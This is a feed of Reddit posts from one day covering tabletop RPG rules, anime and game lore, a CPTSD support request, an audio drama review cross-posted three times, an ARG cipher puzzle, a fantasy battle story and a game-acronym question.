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2024.05.21 20:39 Existing-Hippo-5429 Help interpreting Warmaster ability.
I have a player who went with the Warmaster expert path. Thus far he's been rolling a Battle Die (D6) everytime he declares an attack and reaping the benefit on that attack. He's recently come to me and said that he is feeling overpowered, and that perhaps the ability is meant to have you roll a battle die after you make an attack, so that it only applies on subsequent ones. The wording is uncharacteristically vague for the system. Here's the level 3 description of the talent:
"You generate battle dice, which are d6s, in combat. Whenever you make an attack roll, roll one battle die and find the result on the following table. The effects are cumulative and last until the combat ends."
Before I make a ruling, I'd like to know what the RAW is, and for the life of me I think it's not obvious.
Feedback from a fresh pair of eyes would be welcome.
Before it comes up, I'm not interested in discussing if the path is broken or not. Just how the particular talent is supposed to work.
Yada yada yada hail Satan.
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"You generate battle dice, which are d6s, in combat. Whenever you make an attack roll, roll one battle die and find the result on the following table. The effects are cumulative and last until the combat ends."
Before I make a ruling, I'd like to know what the RAW is, and for the life of me I think it's not obvious.
Feedback from a fresh pair of eyes would be welcome.
Before it comes up, I'm not interested in discussing if the path is broken or not. Just how the particular talent is supposed to work.
Yada yada yada hail Satan.
2024.05.21 20:32 SportMammoth867 Question about New order
For New order the Stars and Stripes have to use the targets real name? It said that for New order if the target doesn't identify themselves as the name they were called when she uses the Quirk on them it won't work but what happens if you use something else like an alias or description. For example let's say if she used her power on Endeavor (Real Name: Enji Todoroki) and said "Endeavor will no longer produce fire" wouldn't you work on Enji because he associates himself with the word endeavor. For tomura shigaraki she could have said the Decay man or the white haired man, does she exactly have to use a person's real name?
The reason this came to me is because it does make sense some people do respond to certain descriptions if they feel it relates to them. Kirishima always associates the name "Shitty Hair" after Bakugo calls him that and the same with "Deku" with Izuku. Even heroes often associate themselves with their nickname as part of their identity.
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The reason this came to me is because it does make sense some people do respond to certain descriptions if they feel it relates to them. Kirishima always associates the name "Shitty Hair" after Bakugo calls him that and the same with "Deku" with Izuku. Even heroes often associate themselves with their nickname as part of their identity.
2024.05.21 20:29 SportMammoth867 Question about New order
For New order the Stars and Stripes have to use the targets real name. It said that for New order if the target doesn't identify themselves as the name they were called when she uses the Quirk on them it won't work but what happens if you use something else like an alias or description. For example let's say if she used her power on Endeavor (Real Name: Enji Todoroki) and said "Endeavor will no longer produce fire" wouldn't you work on Enji because he associates himself with the word endeavor. For tomura shigaraki she could have said the Decay man or the white haired man, does she exactly have to use a person's real name?
The reason this came to me is because it does make sense some people do respond to certain descriptions if they feel it relates to them. Kirishima always associates the name "Shitty Hair" after Bakugo calls him that and the same with "Deku" with Izuku. Even heroes often associate themselves with their nickname as part of their identity.
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The reason this came to me is because it does make sense some people do respond to certain descriptions if they feel it relates to them. Kirishima always associates the name "Shitty Hair" after Bakugo calls him that and the same with "Deku" with Izuku. Even heroes often associate themselves with their nickname as part of their identity.
2024.05.21 20:29 ligeston Blade’s adoration for Baiheng
 | I don’t know why I haven’t ever seen this discussed, but Blade’s former love for Baiheng is so sweet and tragic… now that it’s been confirmed she was the “beloved” turned into the monstrosity, it really makes me feel for how they turned out. submitted by ligeston to HonkaiStarRail [link] [comments] In the relic lore, it emphasizes how torn he was after her death, agreeing to conspire with Dan Feng to revive her, and out of the HCQ he made weapons for, she was the only one he made an actual non-weapon “gift” for—her jade flask, one he was likely too shy to gift. Now, seeing as how Baiheng met Blade when he was young, I don’t think she necessarily reciprocated his adoration. However, it’s worth noting how Jingliu finally felt at peace after dropping the jade flask her made for her w the starskiff for Baiheng, emphasizing how she likely loved him too (could’ve been wholly platonic on her end, we do not have any indicators of her caring for Blade more than that). In Japanese, Blade’s character description says, “愛する者を葬ったのも、貴様だ”—(“the one who buried the loved one was also you”). They specifically use “愛する者” (aisuru mono). Now, this isn’t a word you throw around lightly; the kanji “愛” (ai) is VERY strong. To make a point, in Japanese, couples normally say “好き and 大好き” (suki and daisuki). The former, ai, would only be used in, say, poems, romance novels/media, a declaration of love during say, a proposal or deathbed. They could’ve simply used a word for “important person” or something similar, but it’s clear Baiheng was so very near and dear to Blade. I always thought what he says about Kafka (“maybe someone left her before they could hear all she had to say”) felt very odd and out of place. But upon reassessing, I believe he’s projecting. I think Baiheng passed before he could properly convey his feelings and gratitude to her (and the fact he visited Bailu, too…) Poor HCQ :( |
2024.05.21 20:21 Plus-Collar8310 CPTSD Inner Critic
I first came accross Pete Walker's book "Complex PTSD: From Surving to Thriving" while working with my previous therapist about a year ago. It was a book that could finally name so many things about my internal experience I had dificulty describing. Specifically, his description of the "Inner Critic". I have since come to understand that my inner critic is the loudest part of me, and the source of a lot of my suffering.
I feel stuck in its grips. I think some people would suggest a CBT approach (ie logic your way out of the self depricating belielfs), but those approches seem fruitless. Its not that I cognitivley undertsand myself to be a peice of shit, but that something deep isnide me believes that I am. Further its very rare that any external validation penetrates that belief - my inner critic just doesn't beleive it. In other words, I know a hero is not coming to save me.
Further, Pete Walker's suggestion of "Fake it till you make it" also doesn't seem to work for me. The mantras of self worth just feel hollow and meaningless. And without the help of an experienced therapist, I feel stuck. I'm writing this in the hopes that others on this subreddit will understand or share my experiences and hopfully that some or many of you have things that have helped you through similar struggles.
If you'd be so kind, please share your thoughts and experiences, and things that have helped you come to terms with your inner critic. Thanks!
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I feel stuck in its grips. I think some people would suggest a CBT approach (ie logic your way out of the self depricating belielfs), but those approches seem fruitless. Its not that I cognitivley undertsand myself to be a peice of shit, but that something deep isnide me believes that I am. Further its very rare that any external validation penetrates that belief - my inner critic just doesn't beleive it. In other words, I know a hero is not coming to save me.
Further, Pete Walker's suggestion of "Fake it till you make it" also doesn't seem to work for me. The mantras of self worth just feel hollow and meaningless. And without the help of an experienced therapist, I feel stuck. I'm writing this in the hopes that others on this subreddit will understand or share my experiences and hopfully that some or many of you have things that have helped you through similar struggles.
If you'd be so kind, please share your thoughts and experiences, and things that have helped you come to terms with your inner critic. Thanks!
2024.05.21 20:19 ArthurDrakoni The Truth is an audio drama anthology spanning multiple genres. The episode “Moon Graffiti” follows a very different Apollo 11 mission.
The Truth was an anthology in the purest sense of the word. Each episode was a new present to unwrap. It spanned multiple genres and styles. It billed itself as movies for the ears, and it certainly lived up to that description. Now, it is true that quite a few audio dramas fit that description, but you have to consider the context that The Truth occurred in. The first episode of The Truth premiered way back in 2011. The indie audio drama community was still very much in its infancy. Fiction podcasts tended to be short story readings like StarShipSofa or Lightspeed Magazine. If you were lucky, you might get something like The Drabblecast, with music and sound-effects added to the mix. The Truth was a full-cast show, performed rather than read, and with immersive sound-effects and music.
There are over 200 episodes to choose from, but since this is a spaceflight subreddit, I wanted to highlight one episode in particular.
“Moon Graffiti” is an alternate history piece about the Apollo 11 mission. In this story, The Eagle comes in for a crash landing on the Moon. The lander’s capsule is damaged in such a way that it can’t launch into orbit. Neil Armstrong and Buzz Aldrin are stranded on the Moon until their oxygen runs out. After that, they will go down in history as the first men to die on the Moon. They take their remaining time to chat and muse about the nature of life and mortality.
This was the very first episode of The Truth ever, and they certainly started out of the gate strong. As you might imagine, the alternate history premise piqued my interest. This scenario was very much a concern during the real Apollo 11 mission. In fact, President Richard Nixon had a speech prepared just in case Armstrong and Aldrin became stranded on the Moon. The speech is actually read at the very end of the episode. The actor sounds nothing like Nixon, but he certainly captures the emotion of the speech. Ironically, there was a memorial to the victims of the Apollo 1 fire included with the other equipment on the lander.
What would it be like to experience such a stroke of bad luck? You are stranded hundreds of thousands of miles from home with no hope of rescue. You can see death slowly, but surely, creeping towards you. I try my best not to think too much about death, but the thought proves rather intrusive. I don’t know how I would like to die, as I would very much not like to die at all. But I’m also keenly aware that the reaper will claim me sooner or later.
Yeah, there are a lot of implications on how such a disaster would impact the Space Race. However, this episode is presented as a very intimate story about two men complimenting their own imminent mortality. I am of the opinion that this was absolutely the right move.
I have reviewed several other episodes of The Truth. Just seven at the moment, but I’m hard at work on part two of the review. There’s a lot more really great episodes to cover.
But if you want to read what I’ve got now, you can find that over here: http://drakoniandgriffalco.blogspot.com/2024/05/the-audio-file-truth-part-1.html?m=0
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There are over 200 episodes to choose from, but since this is a spaceflight subreddit, I wanted to highlight one episode in particular.
“Moon Graffiti” is an alternate history piece about the Apollo 11 mission. In this story, The Eagle comes in for a crash landing on the Moon. The lander’s capsule is damaged in such a way that it can’t launch into orbit. Neil Armstrong and Buzz Aldrin are stranded on the Moon until their oxygen runs out. After that, they will go down in history as the first men to die on the Moon. They take their remaining time to chat and muse about the nature of life and mortality.
This was the very first episode of The Truth ever, and they certainly started out of the gate strong. As you might imagine, the alternate history premise piqued my interest. This scenario was very much a concern during the real Apollo 11 mission. In fact, President Richard Nixon had a speech prepared just in case Armstrong and Aldrin became stranded on the Moon. The speech is actually read at the very end of the episode. The actor sounds nothing like Nixon, but he certainly captures the emotion of the speech. Ironically, there was a memorial to the victims of the Apollo 1 fire included with the other equipment on the lander.
What would it be like to experience such a stroke of bad luck? You are stranded hundreds of thousands of miles from home with no hope of rescue. You can see death slowly, but surely, creeping towards you. I try my best not to think too much about death, but the thought proves rather intrusive. I don’t know how I would like to die, as I would very much not like to die at all. But I’m also keenly aware that the reaper will claim me sooner or later.
Yeah, there are a lot of implications on how such a disaster would impact the Space Race. However, this episode is presented as a very intimate story about two men complimenting their own imminent mortality. I am of the opinion that this was absolutely the right move.
I have reviewed several other episodes of The Truth. Just seven at the moment, but I’m hard at work on part two of the review. There’s a lot more really great episodes to cover.
But if you want to read what I’ve got now, you can find that over here: http://drakoniandgriffalco.blogspot.com/2024/05/the-audio-file-truth-part-1.html?m=0
2024.05.21 20:13 vdewan93 Something to go build on from Paolini's last reddit AMA.
Hi there everyone!
Decided to put this up particularly after I saw somebody put up a question about the author's works affecting ideologies, and frankly felt it was the right choice after exhausting options.
I thought about what I'd put out in starting this thread and ended up procrastinating/rewriting a lot of stuff, so I thought I'd start by referencing Paolini in his online AMA's to get the ball rolling (apt for this community lol). Guess tools like perplexity should make it easier to verify things from past AMA's if people are inclined to do so.
Chris has at times has validated interpretations, or reasonings/musings from fans about how narrative snippets from the Inheritance cycle may have been inspired by real life elements, or might allude to (or be applicable to) real life elements. You might have read on platforms like X about him humorously replying to people who think that authors such as him are probably permanently based in the imaginary worlds they brought to life by claiming that anachronisms and inconsistencies would need an in world explanation.
I remember on one such occasion him validating somebody's interpretation of Galbatorix's 'be not' conclusion (something that interestingly gave a friend who had no prior knowledge about the inheritance cycle goosebumps when described to him) likening it to a sort of forced uncoupling from the past/ past connections (something to that effect). In another place, somebody asked about the source of experiential inspiration for his descriptions of Eragon's meditations in the glade in Eldest (with the ants and aphids), likening it to his own experiences with consciousness on marijuana. Chris had a reply in that instance that it was interesting that a lot of his readers didn't seem to raise such questions. I quipped that it probably doesn't have to translate to any particular real experience (having been encapsulated in a fictional form) since I've happened to come across someone who has had similar experiences without ingesting any psychedelics.
The point of bringing up the above is that I'd like to engage with whoever reads this by extracting principles from the above. I may be mistaken about the dynamic involved above, so I won't spell out what I think they are.
In an AMA roughly 6 months ago (after Murtagh's release), Chris mentioned he'd heard that the ancient language was similar to programming. Deliberately choosing to read a bit more meaning into it (doesn't matter for now, plenty of references of discussion about this from before), I wanted to share a couple of links (essays from Paul Graham, known for his involvement with Y combinator) and get a sense of your impressions from them, holding in mind what you know and have paid attention to/ been curious about passages about the ancient language from all the books so far.
https://www.paulgraham.com/worked.html - Sorry if this is a bit wordy, but to keep it short you can read from 'The distinctive thing about Lisp...' near the end of the essay.
https://www.paulgraham.com/icad.html - never mind the title, but yeah this is a meatier and more relevant one.
The hope is some of you read it and share the most memorable/impressionable bits that struck you from the above, keeping the associative 'prompt' I just gave above.
Happy to share my digital footprint on social media for people to form impressions if that'd tip the needle towards engaging on sort of topic more 'seriously' (whatever that means, for lack of a better word), but keeping a policy of less information and lightness would seem prudent.
Happy to give you several motivations for why I'm bringing this up, but might be best for later. Kind of winging it anyway :)
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Decided to put this up particularly after I saw somebody put up a question about the author's works affecting ideologies, and frankly felt it was the right choice after exhausting options.
I thought about what I'd put out in starting this thread and ended up procrastinating/rewriting a lot of stuff, so I thought I'd start by referencing Paolini in his online AMA's to get the ball rolling (apt for this community lol). Guess tools like perplexity should make it easier to verify things from past AMA's if people are inclined to do so.
Chris has at times has validated interpretations, or reasonings/musings from fans about how narrative snippets from the Inheritance cycle may have been inspired by real life elements, or might allude to (or be applicable to) real life elements. You might have read on platforms like X about him humorously replying to people who think that authors such as him are probably permanently based in the imaginary worlds they brought to life by claiming that anachronisms and inconsistencies would need an in world explanation.
I remember on one such occasion him validating somebody's interpretation of Galbatorix's 'be not' conclusion (something that interestingly gave a friend who had no prior knowledge about the inheritance cycle goosebumps when described to him) likening it to a sort of forced uncoupling from the past/ past connections (something to that effect). In another place, somebody asked about the source of experiential inspiration for his descriptions of Eragon's meditations in the glade in Eldest (with the ants and aphids), likening it to his own experiences with consciousness on marijuana. Chris had a reply in that instance that it was interesting that a lot of his readers didn't seem to raise such questions. I quipped that it probably doesn't have to translate to any particular real experience (having been encapsulated in a fictional form) since I've happened to come across someone who has had similar experiences without ingesting any psychedelics.
The point of bringing up the above is that I'd like to engage with whoever reads this by extracting principles from the above. I may be mistaken about the dynamic involved above, so I won't spell out what I think they are.
In an AMA roughly 6 months ago (after Murtagh's release), Chris mentioned he'd heard that the ancient language was similar to programming. Deliberately choosing to read a bit more meaning into it (doesn't matter for now, plenty of references of discussion about this from before), I wanted to share a couple of links (essays from Paul Graham, known for his involvement with Y combinator) and get a sense of your impressions from them, holding in mind what you know and have paid attention to/ been curious about passages about the ancient language from all the books so far.
https://www.paulgraham.com/worked.html - Sorry if this is a bit wordy, but to keep it short you can read from 'The distinctive thing about Lisp...' near the end of the essay.
https://www.paulgraham.com/icad.html - never mind the title, but yeah this is a meatier and more relevant one.
The hope is some of you read it and share the most memorable/impressionable bits that struck you from the above, keeping the associative 'prompt' I just gave above.
Happy to share my digital footprint on social media for people to form impressions if that'd tip the needle towards engaging on sort of topic more 'seriously' (whatever that means, for lack of a better word), but keeping a policy of less information and lightness would seem prudent.
Happy to give you several motivations for why I'm bringing this up, but might be best for later. Kind of winging it anyway :)
2024.05.21 20:08 hypnos7 White Door Opened ARG Puzzles (HELP)
Hiya! To start off with I am by no means a morse code expert (edit: or any type of cryptographer), however I *think* I was able to translate it.
From the Morse code, I got the code "SROL KOOF E'AOS"
I don't think that it's accurate, however I ended up plugging it into this and got the message "SOME POOR BOYS" (I don't believe it's accurate as I pulled up the audio file and tried to translate from the soundwaves)
For the hexidecimal; a user by the name of samuelsonmusicentertainmen4343 on youtube got the translation from the hexidecimal code;
59 49 4D 55 59 4F 4D 55
4B 50 46 57 57 47 45 52
5A 57 46 57 4E 56 51 57
4D 49 57 47 4C 50 4D 4B
Translation: YIMUYOUKPFWWGERZWFWNVQWMIWGLPMK
At about 42 or so seconds in the word "KEY" pops up on the screen in the lower left hand corner of the tv screen and is only up when the tv announcer is saying "Overcome Depression," hence why I believe that one of the keys to the puzzle is that phrase.
In the description of the video, the 'c' in 'county' is lowercase, I just thought it was kind of odd and a detail that I maybe shouldn't overlook in the spirit of an ARG.
I tried to make my own alphabet using those hints in mind and ended up with 'YZOVERCMDPSINABFGHJKLQTUVWX'
This is the video I am trying to solve
EDIT: There is also several times where the number 15 seems to be important, the video was released on the 15th, 15 people are missing and the dosage of Helilucid is 15 mL
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From the Morse code, I got the code "SROL KOOF E'AOS"
I don't think that it's accurate, however I ended up plugging it into this and got the message "SOME POOR BOYS" (I don't believe it's accurate as I pulled up the audio file and tried to translate from the soundwaves)
For the hexidecimal; a user by the name of samuelsonmusicentertainmen4343 on youtube got the translation from the hexidecimal code;
59 49 4D 55 59 4F 4D 55
4B 50 46 57 57 47 45 52
5A 57 46 57 4E 56 51 57
4D 49 57 47 4C 50 4D 4B
Translation: YIMUYOUKPFWWGERZWFWNVQWMIWGLPMK
At about 42 or so seconds in the word "KEY" pops up on the screen in the lower left hand corner of the tv screen and is only up when the tv announcer is saying "Overcome Depression," hence why I believe that one of the keys to the puzzle is that phrase.
In the description of the video, the 'c' in 'county' is lowercase, I just thought it was kind of odd and a detail that I maybe shouldn't overlook in the spirit of an ARG.
I tried to make my own alphabet using those hints in mind and ended up with 'YZOVERCMDPSINABFGHJKLQTUVWX'
This is the video I am trying to solve
EDIT: There is also several times where the number 15 seems to be important, the video was released on the 15th, 15 people are missing and the dosage of Helilucid is 15 mL
2024.05.21 20:02 MathsGuy1 The Rise of the Soulmancer pt8: Crushed Souls
 | /uw Warning: this chapter contains description of a battle, so there's some gore etc. submitted by MathsGuy1 to wizardposting [link] [comments] context: part7 /rw "... have to retreat, sir! Now!" - Deamor vaguely registered the meaning of the words. He tried to walk, but after a few steps, he vomited a mix of blue, green, and red - likely the result of all the potions he drank, combined with some internal bleeding. Before he could finish, the attendant grabbed his arm, leading him away while forcing another potion down his throat. As he drank, his sense of surroundings gradually returned and his crippling headache lessened just enough for him to think again. Magical overexertion could cause grave consequences to both body and mind, and this potion could only delay the effects by a few minutes, worsening his overall condition later. Given the situation, he had little choice. His state seemed the worst among the other wizards, though they weren't that much better off either. It appeared they had underestimated the Northerners, who had somehow breached their formation. Though the breach was quickly closed, a group of three dozen crazed berserkers slipped through before that. Ignoring the imperial soldiers around them, they charged straight at Deamor, aiming to tip the scales of battle by eliminating the mages at the back. The shouts and battlecries grew closer as the small detachment left to guard the wizards was swiftly crushed. The Vanguard's captain kept a cool head and swiftly decided: "Stop and brace for a fight!" Deamor immediately obeyed. Just as during the drills, he quickly drew his wand and started going through the motions - he cast Mage Armor, followed by Haste and Mirror Image. All the other wizards mimicked his moves - they followed the order without question, despite the looks of fear on their faces. Deamor knew running away wouldn't do him any good - even if he could escape, deserters would be tracked down and executed. The enemies were closing in rapidly, less than 200 feet away. Deamor raised his wand and a blinding lightning hit one of the berserkers, making his body twitch uncontrollably on the ground. Other spells flew at the approaching opponents, but they did little to slow them down. With unexpected nimbleness, they leapt over the pools of grease and pits that magically appeared in their path. Some of the offensive spells weren't enough to incapacitate the warriors or were simply dodged. Soon the unstoppable berserkers were upon them. Deamor ducked as a small axe flew past where his chest had been a moment earlier. He heard a gargle - his attendant, who had stood beside him, wasn't so lucky. With no one between him and the berserkers, Deamor prepared for close combat. Magical quarterstaff, crackling with electricity, appeared in his hand just in time to block a wide swing from a berserker who reached him. Though he blocked the blow, its force almost knocked him down. He stepped back, but his opponent didn't relent, raining blows with twin swords. Only his hastened state allowed Deamor to barely keep up with blocking. Somehow, his Mirror Image had no effect, as if the berserker could instinctively sense which image was the real one. Deamor had no time to think about how excatly the man did it. He had to come up with a plan to quickly defeat his opponent - he wouldn't be able to last much longer, especially in his weakened state. Deamor did the first thing that came to his mind - he closed his eyes and emitted a blinding flash of light out of his hand. The Northerner was caught off guard and started flailing with his swords blindly. That was big enough opening for Deamor. He leveraged his hastened state to quickly step to the side and attack enemy's leg. A strong blow to the tendon brought the berserker to one knee, electricity amplifying the impact. Without hesitation, Deamor swung with both hands at the man's head. The berserker instinctively shielded his head with his hand just in time. However, even though his forearm bone was crushed and his skin blackened, he showed no pain, only even greater fury. He roared wildly and lunged at surprised Deamor, who barely managed to step back in time. He rapidly circled around his half-prone opponent and delivered a powerful blow to the back of the berserker's head. Fortunately, this time his opponent hadn't managed to dodge or block quickly enough. A sickening crunch signified his success. Deamor grinned slightly, proud of besting the fierce opponent. "Maybe those martial arts lessons weren't a waste of time after all" - he thought. But then he quickly remembered that this wasn't a duel, he was in the middle of a battle. Just as he thought about that, he sensed a soul close behind him. Without looking back, he dodged to the side, avoiding a deadly axe wielded by an imposing man clad in bear fur. Before Deamor could do anything, another powerful blow came at him. He rolled to the side, not daring to block the giant axe. Despite the Haste spell, the berserker was as fast as him and almost sliced off his hand. Fortunately the Mage Armor came in handy and deflected the blade. The accumulated stress, magical extertion and the presence of the terrifying half-giant were too much for Deamor, and he lost the concentration necessary to continue channeling his spells. The energy staff in his hand fizzled out, and the world around him suddenly sped up as his Haste ended prematurely. Deamor's mind went blank as the man towered over him, ready to end his life. Almost instinctively, Deamor stomped his foot, and a half-translucent barrier emerged from the ground. Immediately after, he started running away without looking back, trying to get away from the man at all cost. There was no chance he could defeat that monster! The berserker swung his axe and the barrier shattered as if it was made out of fragile glass. The warrior didn't relent and pursued his prey. After a few moments, he was upon the mage again, but just as he was preparing to swing his axe at the run-away, he tripped over a corpse. Deamor looked back and stared, dumbfounded, not believing his luck. He almost missed his opportunity as the berserker started to rapidly recover from the fall. Fortunately, Deamor managed to produce a black ray of deathly magic in time and watched as the body shriveled and decomposed under the spell. During the brief respite, Deamor gathered his bearings and surveyed the chaotic battle. What he saw was utter chaos - everyone fought with little coordination. His unit has never had to fight in close ranks like this, and the drills were vastly different from the real thing. As for the berserkers, they seemed to thrive in such chaotic environment. It was hard to tell which side was winning at the moment. However Deamor was more concerned about something else - where were Kate and Markus? After a few moments he finally spotted them - they were fighting a giant man wielding a greatsword longer than an average man was tall. Deamor made his way towards them, ignoring the combatants around him. The berserker performed a wide horizontal slash with his greatsword. Markus tried to block, but the sheer force of the blow cut his staff in two and then continued to bisect Markus himself. His upper body fell a distance away, separated from his still-standing legs, creating a truly grotesque sight. Deamor stopped, stupefied, unable to move. This had to be a bad dream! They were supposed to crush these stupid barbarians! How was this happening? The warrior didn't waste time and turned to Katerin, which pulled Deamor out of his stupor. Without thinking, he made a grabbing move towards the man. Crush! - he uttered the forbidden word, closing his hand. He saw faint cracks spreading all across the berserker's soul. The soul was too formidable to be crushed by a novice soulmancer like him, but it was enough to stop the warrior in his tracks, making him spasm on the ground. This was the first time Deamor openly used soulmancy, but he didn't care. He blindly ran towards his dead friend, subconsciously dodging the combatants and the spells flying around. He crouched over Markus' body, watching his soul ebb away, escaping from this world. He tried to grab it, to pull it back here. But he had no idea how to actually do it, how to save his friend. The soul stopped for a moment, but then slipped away from his grasp and disappeared. The entire world seemed frozen in time, as Deamor stared blankly at the gutted remains of his companion. A few long moments later he collapsed, all the accumulated physical and mental trauma finally catching up to him. /Uw Thanks for reading, tell me what you think! The story happens thousands of years in the past, so it's not really interactive. |
2024.05.21 19:54 _QuestionsToAnswer_ Can someone give me a list of popular shortcuts people use for words in this community?
Ive lately heard of moths being new players or something. But some folks use short words for things they're doing or talking about.
I saw COTL and I was fist like,, cult of the lamb?? Does it mean Children of the light?
I have no clue.
Could someone help me out with a little list with descriptions?
Thank you!
submitted by _QuestionsToAnswer_ to SkyChildrenOfLight [link] [comments]
I saw COTL and I was fist like,, cult of the lamb?? Does it mean Children of the light?
I have no clue.
Could someone help me out with a little list with descriptions?
Thank you!
2024.05.21 19:49 ArthurDrakoni The Truth is an audio drama anthology spanning multiple genres. The episode “Moon Graffiti” follows a very different Apollo 11 mission.
The Truth was an anthology in the purest sense of the word. Each episode was a new present to unwrap. It spanned multiple genres and styles. It billed itself as movies for the ears, and it certainly lived up to that description. Now, it is true that quite a few audio dramas fit that description, but you have to consider the context that The Truth occurred in. The first episode of The Truth premiered way back in 2011. The indie audio drama community was still very much in its infancy. Fiction podcasts tended to be short story readings like StarShipSofa or Lightspeed Magazine. If you were lucky, you might get something like The Drabblecast, with music and sound-effects added to the mix. The Truth was a full-cast show, performed rather than read, and with immersive sound-effects and music.
There are over 200 episodes to choose from, but since this is a lunar subreddit, I wanted to highlight one episode in particular.
“Moon Graffiti” is an alternate history piece about the Apollo 11 mission. In this story, The Eagle comes in for a crash landing on the Moon. The lander’s capsule is damaged in such a way that it can’t launch into orbit. Neil Armstrong and Buzz Aldrin are stranded on the Moon until their oxygen runs out. After that, they will go down in history as the first men to die on the Moon. They take their remaining time to chat and muse about the nature of life and mortality.
This was the very first episode of The Truth ever, and they certainly started out of the gate strong. As you might imagine, the alternate history premise piqued my interest. This scenario was very much a concern during the real Apollo 11 mission. In fact, President Richard Nixon had a speech prepared just in case Armstrong and Aldrin became stranded on the Moon. The speech is actually read at the very end of the episode. The actor sounds nothing like Nixon, but he certainly captures the emotion of the speech. Ironically, there was a memorial to the victims of the Apollo 1 fire included with the other equipment on the lander.
What would it be like to experience such a stroke of bad luck? You are stranded hundreds of thousands of miles from home with no hope of rescue. You can see death slowly, but surely, creeping towards you. I try my best not to think too much about death, but the thought proves rather intrusive. I don’t know how I would like to die, as I would very much not like to die at all. But I’m also keenly aware that the reaper will claim me sooner or later.
Yeah, there are a lot of implications on how such a disaster would impact the Space Race. However, this episode is presented as a very intimate story about two men complimenting their own imminent mortality. I am of the opinion that this was absolutely the right move.
I have reviewed several other episodes of The Truth. Just seven at the moment, but I’m hard at work on part two of the review. There’s a lot more really great episodes to cover.
But if you want to read what I’ve got now, you can find that over here: http://drakoniandgriffalco.blogspot.com/2024/05/the-audio-file-truth-part-1.html?m=0
submitted by ArthurDrakoni to moon [link] [comments]
There are over 200 episodes to choose from, but since this is a lunar subreddit, I wanted to highlight one episode in particular.
“Moon Graffiti” is an alternate history piece about the Apollo 11 mission. In this story, The Eagle comes in for a crash landing on the Moon. The lander’s capsule is damaged in such a way that it can’t launch into orbit. Neil Armstrong and Buzz Aldrin are stranded on the Moon until their oxygen runs out. After that, they will go down in history as the first men to die on the Moon. They take their remaining time to chat and muse about the nature of life and mortality.
This was the very first episode of The Truth ever, and they certainly started out of the gate strong. As you might imagine, the alternate history premise piqued my interest. This scenario was very much a concern during the real Apollo 11 mission. In fact, President Richard Nixon had a speech prepared just in case Armstrong and Aldrin became stranded on the Moon. The speech is actually read at the very end of the episode. The actor sounds nothing like Nixon, but he certainly captures the emotion of the speech. Ironically, there was a memorial to the victims of the Apollo 1 fire included with the other equipment on the lander.
What would it be like to experience such a stroke of bad luck? You are stranded hundreds of thousands of miles from home with no hope of rescue. You can see death slowly, but surely, creeping towards you. I try my best not to think too much about death, but the thought proves rather intrusive. I don’t know how I would like to die, as I would very much not like to die at all. But I’m also keenly aware that the reaper will claim me sooner or later.
Yeah, there are a lot of implications on how such a disaster would impact the Space Race. However, this episode is presented as a very intimate story about two men complimenting their own imminent mortality. I am of the opinion that this was absolutely the right move.
I have reviewed several other episodes of The Truth. Just seven at the moment, but I’m hard at work on part two of the review. There’s a lot more really great episodes to cover.
But if you want to read what I’ve got now, you can find that over here: http://drakoniandgriffalco.blogspot.com/2024/05/the-audio-file-truth-part-1.html?m=0
2024.05.21 19:46 ArthurDrakoni The Truth is an audio drama anthology spanning multiple genres. The episode “Moon Graffiti” follows a very different Apollo 11 mission.
The Truth was an anthology in the purest sense of the word. Each episode was a new present to unwrap. It spanned multiple genres and styles. It billed itself as movies for the ears, and it certainly lived up to that description. Now, it is true that quite a few audio dramas fit that description, but you have to consider the context that The Truth occurred in. The first episode of The Truth premiered way back in 2011. The indie audio drama community was still very much in its infancy. Fiction podcasts tended to be short story readings like StarShipSofa or Lightspeed Magazine. If you were lucky, you might get something like The Drabblecast, with music and sound-effects added to the mix. The Truth was a full-cast show, performed rather than read, and with immersive sound-effects and music.
There are over 200 episodes to choose from, but since this is an alternate history subreddit, I wanted to highlight one episode in particular.
“Moon Graffiti” is an alternate history piece about the Apollo 11 mission. In this story, The Eagle comes in for a crash landing on the Moon. The lander’s capsule is damaged in such a way that it can’t launch into orbit. Neil Armstrong and Buzz Aldrin are stranded on the Moon until their oxygen runs out. After that, they will go down in history as the first men to die on the Moon. They take their remaining time to chat and muse about the nature of life and mortality.
This was the very first episode of The Truth ever, and they certainly started out of the gate strong. As you might imagine, the alternate history premise piqued my interest. This scenario was very much a concern during the real Apollo 11 mission. In fact, President Richard Nixon had a speech prepared just in case Armstrong and Aldrin became stranded on the Moon. The speech is actually read at the very end of the episode. The actor sounds nothing like Nixon, but he certainly captures the emotion of the speech. Ironically, there was a memorial to the victims of the Apollo 1 fire included with the other equipment on the lander.
What would it be like to experience such a stroke of bad luck? You are stranded hundreds of thousands of miles from home with no hope of rescue. You can see death slowly, but surely, creeping towards you. I try my best not to think too much about death, but the thought proves rather intrusive. I don’t know how I would like to die, as I would very much not like to die at all. But I’m also keenly aware that the reaper will claim me sooner or later.
Yeah, there are a lot of implications on how such a disaster would impact the Space Race. However, this episode is presented as a very intimate story about two men complimenting their own imminent mortality. I am of the opinion that this was absolutely the right move.
I have reviewed several other episodes of The Truth. Just seven at the moment, but I’m hard at work on part two of the review. There’s a lot more really great episodes to cover.
But if you want to read what I’ve got now, you can find that over here: http://drakoniandgriffalco.blogspot.com/2024/05/the-audio-file-truth-part-1.html?m=0
submitted by ArthurDrakoni to althistory [link] [comments]
There are over 200 episodes to choose from, but since this is an alternate history subreddit, I wanted to highlight one episode in particular.
“Moon Graffiti” is an alternate history piece about the Apollo 11 mission. In this story, The Eagle comes in for a crash landing on the Moon. The lander’s capsule is damaged in such a way that it can’t launch into orbit. Neil Armstrong and Buzz Aldrin are stranded on the Moon until their oxygen runs out. After that, they will go down in history as the first men to die on the Moon. They take their remaining time to chat and muse about the nature of life and mortality.
This was the very first episode of The Truth ever, and they certainly started out of the gate strong. As you might imagine, the alternate history premise piqued my interest. This scenario was very much a concern during the real Apollo 11 mission. In fact, President Richard Nixon had a speech prepared just in case Armstrong and Aldrin became stranded on the Moon. The speech is actually read at the very end of the episode. The actor sounds nothing like Nixon, but he certainly captures the emotion of the speech. Ironically, there was a memorial to the victims of the Apollo 1 fire included with the other equipment on the lander.
What would it be like to experience such a stroke of bad luck? You are stranded hundreds of thousands of miles from home with no hope of rescue. You can see death slowly, but surely, creeping towards you. I try my best not to think too much about death, but the thought proves rather intrusive. I don’t know how I would like to die, as I would very much not like to die at all. But I’m also keenly aware that the reaper will claim me sooner or later.
Yeah, there are a lot of implications on how such a disaster would impact the Space Race. However, this episode is presented as a very intimate story about two men complimenting their own imminent mortality. I am of the opinion that this was absolutely the right move.
I have reviewed several other episodes of The Truth. Just seven at the moment, but I’m hard at work on part two of the review. There’s a lot more really great episodes to cover.
